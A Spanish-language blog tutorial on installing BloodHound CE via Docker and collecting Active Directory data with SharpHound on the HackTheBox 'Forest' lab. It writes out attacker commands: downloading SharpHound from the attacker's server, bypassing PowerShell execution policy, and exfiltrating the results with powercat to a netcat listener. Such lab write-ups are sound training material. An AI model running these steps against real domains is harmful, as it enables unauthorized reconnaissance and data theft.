BloodHound#
BloodHound es una herramienta poderosa y ampliamente utilizada en el campo de la ciberseguridad, particularmente para los evaluadores de penetración en entornos corporativos. Está diseñada para mapear y analizar las estructuras de Active Directory, ayudando a identificar configuraciones de seguridad incorrectas y posibles rutas de ataque que un adversario podría explotar para escalar privilegios u obtener acceso a recursos confidenciales.
BloodHound opera mediante la recopilación y visualización de relaciones dentro de un dominio de AD. Estas relaciones incluyen membresías de grupos, permisos de usuario, relaciones de confianza y más. La fortaleza de la herramienta radica en su capacidad para descubrir cadenas complejas de privilegios que podrían ser invisibles para los administradores que auditan manualmente la seguridad de AD.
Realizaremos una instalación rápida paso a paso de la versión comunitaria de BloodHound, así como un pequeño tutorial paso a paso sobre cómo ejecutar BloodHound y SharpHound tomando como ejemplo la máquina Forest de HackTheBox. ¡Échale un vistazo si aún no lo has hecho a mi post!
¡Comencemos!
Instalación#
Primero, necesitamos instalar Docker:
kali@kali:~$ sudo apt install -y docker.io
kali@kali:~$ sudo systemctl enable docker --now
Luego, crea el grupo docker si no existe:
kali@kali:~$ sudo groupadd docker
Añade tu usuario al grupo docker:
kali@kali:~$ sudo usermod -aG docker $USER
Ahora, instala docker-compose desde github. Además, recuerda otorgarle derechos de ejecución al binario y agregarlo al directorio /usr/bin
.
kali@kali:~$ mv ./docker-compose-linux-aarch64 docker-compose
kali@kali:~$ chmod +x ./docker-compose
kali@kali:~$ mv ./docker-compose /usr/bin/
Por último, necesitamos copiar el archivo docker-compose.yml
de BloodHound para guardarlo localmente:
kali@kali:~$ sudo wget https://ghst.ly/getbhce -O docker-compose.yml
kali@kali:~$ docker-compose up
BloodHound estará disponible en el puerto 8080.
SharpHound#
SharpHound es el componente de recopilación de datos de BloodHound. Es una herramienta de C# diseñada para recopilar información de entornos de Active Directory, que luego BloodHound utiliza para mapear y analizar rutas de ataque. SharpHound recopila datos como sesiones de usuario, membresías de grupos, listas de control de acceso (ACL) y relaciones de confianza, lo que brinda a los evaluadores de penetración y analistas de seguridad una vista detallada del entorno.
Los datos recopilados se almacenan en archivos JSON, que luego se importan a BloodHound para visualización y análisis. Juntos, SharpHound y BloodHound son un dúo poderoso para identificar y comprender las debilidades de seguridad en los dominios de AD.
Uso de BloodHound y SharpHound#
Primero, iniciemos sesión en BloodHound. Ya lo tenemos en ejecución, por lo que debemos acceder a él en http://localhost:8080
.
La primera vez que accedamos a BloodHound, necesitaremos ingresar la contraseña generada aleatoriamente que se encuentra en la ventana de terminal donde se está ejecutando
docker-compose
. Luego, necesitaremos cambiarla. El usuario predeterminado es admin.
Ahora, en la pestaña Descargar recopiladores, podemos descargar la última versión de SharpHound:
Aquí, selecciona SharpHound, ¡y estamos casi listos para comenzar a recopilar datos! Solo quedan unos pocos pasos más:
A continuación, carga el ejecutable SharpHound en la máquina Windows cuyo Active Directory deseas mapear. Desde nuestra máquina atacante, servimos SharpHound desde un servidor Python:
┌──(s3n㉿kali)-[/opt/bloodhound/sharphound]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde la máquina Windows, descargamos SharpHound con el siguiente comando:
PS C:\Users\svc-alfresco\Desktop> iwr -uri http://10.10.14.18/SharpHound.ps1 -Outfile SharpHound.ps1
Después de transferirlo a la máquina Windows, podemos importarlo a PowerShell:
PS C:\Users\svc-alfresco\Desktop> powershell -ep bypass
PS C:\Users\svc-alfresco\Desktop> Import-Module .\Sharphound.ps1
Ahora, podemos ejecutar el script para recopilar toda la información del dominio. SharpHound se basa principalmente en consultas LDAP
para recopilar datos de Active Directory. Dado que las consultas LDAP son una parte estándar de la comunicación de dominio, cualquier usuario autenticado en el dominio puede ejecutarlas, por lo que SharpHound no requiere privilegios administrativos para la mayoría de sus operaciones.
PS C:\Users\svc-alfresco\Desktop> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\svc-alfresco\Desktop\ -OutputPrefix "forest"
Después de la ejecución, veremos un archivo zip con toda la información. Eso es lo que necesitamos transferir de vuelta a nuestra máquina atacante. El archivo .bin que BloodHound genera es un archivo binario que se utiliza como caché para datos preprocesados. Cuando importa archivos JSON recopilados por SharpHound en BloodHound, procesa los datos y los almacena en una base de datos Neo4j.
El archivo .bin
sirve como caché local de estos datos procesados para mejorar el rendimiento, pero no necesariamente necesitamos transferirlos de vuelta a nuestra máquina, por lo que lo ignoraremos.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ls
Directory: C:\Users\svc-alfresco\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/10/2025 9:29 AM 43554 forest_20250110092905_BloodHound.zip
-a---- 1/10/2025 9:15 AM 1942029 SharpHound.ps1
Podemos usar nuestro método de transferencia favorito, yo usaré powercat.exe
:
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> powercat -c 10.10.14.18 -p 4444 -i C:\Users\svc-alfresco\Desktop\forest_20250110092905_BloodHound.zip
En nuestra máquina atacante, necesitamos abrir un receptor netcat
para recibir los datos:
┌──(s3n㉿kali)-[/opt/bloodhound]
└─$ sudo nc -nlvp 4444 > bloodhound.zip
listening on [any] 4444 ...
connect to [10.10.14.18] de (DESCONOCIDO) [10.10.10.161] 50906
Una vez que tengamos el archivo zip en nuestra máquina, vamos a subirlo a BloodHound. Primero, presione la opción Administración.
Importe el archivo zip en la opción Ingesta de archivos, en la sección Recopilación de datos:
Haga clic y seleccione el archivo zip:
¡Genial! Se subió con éxito.
Enseñar cómo hacer consultas con BloodHound no está dentro del alcance de esta publicación, pero ejecutemos una consulta rápida “Shortest Paths to Domain Admins” para verificar si la ingesta de datos fue exitosa.
¡Funciona! Ahora tiene una instancia de BloodHound completamente funcional y en funcionamiento, lista para mapear y analizar su entorno de Active Directory.
Detener la instancia#
Detener la instancia es tan fácil como presionar Ctrl+C
en la ventana de terminal donde se está ejecutando docker-compose
.
Si desea configurarlo nuevamente, simplemente ejecute docker-compose up
y estará listo.
Espero que esta guía te haya resultado útil para configurar todo sin problemas, ya que configurar un entorno de BloodHound puede ser complicado al principio. ¡Pruébalo!